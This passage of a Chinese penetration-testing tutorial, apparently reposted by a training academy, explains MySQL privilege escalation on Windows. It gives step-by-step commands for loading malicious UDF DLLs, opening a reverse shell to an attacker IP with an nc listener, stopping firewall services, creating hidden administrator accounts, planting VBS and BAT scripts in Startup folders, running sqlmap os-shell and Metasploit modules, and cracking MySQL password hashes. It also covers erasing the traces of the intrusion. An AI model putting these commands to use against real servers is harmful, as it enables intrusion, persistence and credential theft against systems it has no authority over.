2、udf 提权 

 

UDF 提权是利用 MySQL 的自定义函数功能,将 MySQL 账号转化为系统 system 权限,利用条件的目标系统是 Windows(Win2000/XP/2003);拥有 MySQL 的某个用户账号,此账号必须有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,有 Root 账号密码Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。

 

UDF 提权条件:

 

  • MySQL 版本大于 5.1 版本 udf.dll 文件必须放置于 MySQL 安装目录下的 lib\plugin 文件夹下。

  • MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。

  • 掌握的 MySQL 数据库的账号有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,一般以 Root 账号为佳,具备 Root 账号所具备的权限的其它账号也可以。

  • 可以将 udf.dll 写入到相应目录的权限。

 

提权方法:

 

获取数据库版本、数据位置以及插件位置等信息

select version();//获取数据库版本

select user();//获取数据库用户

select @@basedir ;//获取安装目录

show variables like '%plugins%';  //寻找mysql安装路径

导出路径

C:\Winnt\udf.dll    Windows 2000

C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

 

MySQL 5.1 以上版本,必须要把 udf.dll 文件放到 MySQL 安装目录下的 libplugin 文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用 webshell 找到 MySQL 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录即可。

 

在某些情况下,我们会遇到 Can't open shared library 的情况,这时就需要我们把 udf.dll 导出到 lib\plugin 目录下才可以,网上大牛发现利用 NTFS ADS 流来创建文件夹的方法

select @@basedir;  //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。

 

创建 cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

执行命令

select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。连不上 3389 可以先停止 windows 防火墙和筛选

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll 下常见函数

cmdshell  执行cmd;

downloader  下载者,到网上下载指定文件并保存到指定目录;

open3389    通用开3389终端服务,可指定端口(不改端口无需重启);

backshell   反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread     读注册表;

regwrite    写注册表;

shut        关机,注销,重启;

about       说明与帮助函数;

具体用户示例

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

清除痕迹

drop function cmdshell;//将函数删除

删除 udf.dll 文件以及其它相关入侵文件及日志。

 

常见错误

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

SHOW VARIABLES LIKE "secure_file_priv"

在 my.ini 或者 mysql.cnf  文件中注销 (使用#号) 包含 secure_file_priv 的行。

 

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将 my.ini 中的 skip-grant-tables 选项去掉。

 

webshell 下 udf 提权:

 

通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

 

MySQL 提权综合利用工具:

 

v5est0r 写了一个 MySQL 提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

 

  • 自动导出你的 backdoor 和 mof 文件;

  • 自动判断 MySQL 版本,根据版本不同导出 UDF 的 DLL 到不同目录,UDF 提权;

  • 导出 LPK.dll 文件,劫持系统目录提权;

  • 写启动项提权。

 

UdF 自动提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK 劫持提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

启动项提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通过 LOAD_FILE 来查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,这无法进行提权。

 

3、无法获取 webshell 提权 

 

连接 MySQL:

  • mysql.exe -h ip -uroot -p

  • phpmyadmin

  • Navicat for MySQL

 

查看数据库版本和数据路径:

 

SELECT VERSION( );

Select @@datadir;

5.1 以下版本,将 dll 导入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通过以下查询来获取插件路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugin%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

 

修改 MySQL.txt:

 

MySQL.txt 为 udf.dll 的二进制文件转成十六进制代码。

 

  • 先执行导入 ghost 表中的内容,修改以下代码的末尾代码:select backshell("YourIP",4444);

  • 导出文件到某个目录

 

 

导出过程:

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 

C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd

select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');

select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(上下拉动可完整查看)

 

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在则删除

drop FUNCTION cmdshell;//删除cmdshell

drop FUNCTION backshell;//删除backshell

  • 创建backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
  • 在具备独立主机的服务器上执行监听

nc -vv -l -p 44444
  • 执行查询

select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

 

获取 webshell 后添加用户命令:

 

注意如果不能直接执行,则需要到 c:\windows\system32\ 下执行

net user antian365 Www.Antian365.Com /add 

net localgroup administrators antian365

 

4、Sqlmap 直连数据库提权 

 

Sqlmap 直接连接数据库提权,需要有写入权限和 Root 账号及密码,命令如下:

 

  • 连接数据库:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

  • 选择操作系统的架构,32 位操作系统选择 1,64 位选择 2

  • 自动上传 udf 或提示 os-shell

  • 执行 whomai 命令如果获取系统权限,则表示提权成功。

 

Msfudf 提权:

 

Kali 渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

 

msf 下 udf 提权成功率并不高,跟 windows 操作系统版本,权限和数据库版本有关,特别是 secure-file-priv 选项,如果有该选项基本不会成功。

 

5、启动项提权 

 

创建表并插入 vbs 脚本到表中:

 

依次使用以下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

导出 vbs 脚本到启动:

 

使用以下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。

 

推荐使用以下脚本

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345!* /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat";

该脚本执行后虽然会闪现 DOS 窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过 MySQL 连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的 b.bat 脚本文件。

 

说明:在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以参考如下写法

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

 

msf 下模块 exploit/windows/mysql/mysql_start_up 提权:

  

      use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提权有一定的几率,对英文版系统支持较好。

 

五、msf 其它相关漏洞提权

 

1、MySQL 身份认证漏洞及利用(CVE-2012-2122)

 

当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。按照公告说法大约 256 次就能够蒙对一次。受影响的产品: 

 

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

 

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

 

2、exploit/windows/mysql/mysql_yassl_hello

 

3、exploit/windows/mysql/scrutinizer_upload_exec

 

六、MySQL 密码破解

 

1、Cain 工具破解 MySQL 密码 

 

使用 UltraEdit-32 编辑器直接打开 user.MYD 文件,打开后使用二进制模式进行查看,在 Root 用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

 

注意:

  • root 后面的“*”不要复制到字符串中。

  • 在有些情况下需要往后面看看,否则得到的不是完整的 MYSQLSHA1 密码,总之其正确的密码位数是 40 位。

 

安装 cain 工具,使用 cracker,右键单击“Add tolist”将 MySQL Hashes 值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

 

2、网站在线密码破解 

 

  • cmd5.com 破解。将获取的 MySQL 值放在 cmd5.com 网站中进行查询,MySQL 密码一般都是收费的;

  • somd5.com 破解。Somd5.com 是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

 

3、Oclhash 破解 

 

Hashcat 支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

 

4、John the Ripper password cracker 

 

John the Ripper 下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能够破解 linux 外,还能破解多种格式的密码

 

Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密码破解的算法

转自:http://blog.51cto.com/simeon/1981572

 

——END——

 

报班咨询:

班主任微信:

qiuzhiquanquan 或 qqls000,加入微信群

班主任QQ:

1724698994 或 1752856301,加入加入QQ群(240920680

 

加入学习:

拼客学院公号:

微信搜索pinginglab

拼客学院网校:

https://www.pinginglab.net

拼客学院APP:

https://www.pinginglab.net/mobile/

微信小程序:

https://www.pinginglab.net/page/weixin

 

技术交流群:

拼客学院技术交流群:240920680

拼客学院网络安全交流群:482618569

拼客学院Linux云计算交流群:156959645

拼客学院Python人工智能交流群:117907362